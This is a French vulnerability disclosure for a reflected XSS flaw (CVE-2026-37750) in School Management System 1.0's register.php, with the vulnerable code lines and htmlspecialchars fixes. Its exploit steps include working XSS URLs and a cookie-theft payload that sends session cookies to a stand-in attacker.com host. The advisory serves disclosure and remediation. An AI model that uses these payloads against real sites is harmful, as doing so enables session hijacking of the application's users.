
Réflexion XSS (Cross-Site Scripting) preuve de concept pour School Management System 1.0, démontrant l'exécution de JavaScript non authentifiée via le paramètre type dans register.php, avec analyse d'impact et recommandations de remédiation.
| Champ | Informations |
|---|
| ID CVE | CVE-2026-37750 |
| Type | Cross-Site Scripting (XSS) réfléchi |
| Sévérité | Moyenne (CVSSv3 : 6.1) |
| Vendeur | mahmoudai1 |
| Produit | School Management System |
| Version | 1.0 |
| Découvreur | Varad AP Mene |
| Date | 2026-04-16 |
| CWE | CWE-79 |
Une vulnérabilité de Cross-Site Scripting (XSS) réfléchi dans School Management System 1.0 de mahmoudai1 permet à des attaquants distants non authentifiés d'exécuter du JavaScript arbitraire dans les navigateurs des victimes via le paramètre type non assaini dans register.php. Le paramètre est réfléchi sans échappement à l'intérieur d'une balise h1 à la ligne 22 et à l'intérieur d'un attribut action de formulaire à la ligne 26. Aucune authentification n'est requise pour exploiter cette vulnérabilité.
ID CVE : CVE-2026-37750 CWE : CWE-79 CVSSv3 : 6.1 Moyenne (AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N)
School Management System 1.0 est une application web PHP/MySQL de mahmoudai1 sur GitHub utilisée pour gérer les étudiants, les enseignants et les parents dans les écoles.
URL du vendeur : https://github.com/mahmoudai1/school-management-system
register.php — Formulaire d'inscription (aucune authentification requise)
Ligne 22 : echo ucfirst($_REQUEST['type'])
Ligne 26 : echo $_REQUEST['type']
Aucun htmlspecialchars() utilisé — l'entrée utilisateur brute est réfléchie directement dans le HTML.
Prérequis :
Étape 1 — Ouvrir le navigateur et visiter cette URL : http://target/register.php?type=script-alert-document.cookie-/script
Étape 2 — Le JavaScript s'exécute dans le navigateur Résultat : une boîte d'alerte s'affiche montrant les cookies de session.
Étape 3 — Charge utile de vol de cookies : http://target/register.php?type=script-document.location-http://attacker.com/steal?c=-document.cookie-/script Étape 4 — Charge utile d'injection dans l'attribut action du formulaire : http://target/register.php?type="-script-alert(1)-/script
Deux points d'injection confirmés :
Point d'injection 1 — À l'intérieur de la balise h1 (ligne 22) :
echo ucfirst($_REQUEST['type'])
Sortie :
<h1><script>alert(1)</script> Application</h1>
Point d'injection 2 — À l'intérieur de l'attribut action du formulaire (ligne 26) :
echo $_REQUEST['type']
Sortie :
<form action="register.php?type=<script>alert(1)</script>">
Correctif ligne 22 : echo htmlspecialchars(ucfirst($_REQUEST['type']), ENT_QUOTES, 'UTF-8');
Correctif ligne 26 : echo htmlspecialchars($_REQUEST['type'], ENT_QUOTES, 'UTF-8');
Varad AP Mene E-mail : [email protected] GitHub : https://github.com/menevarad007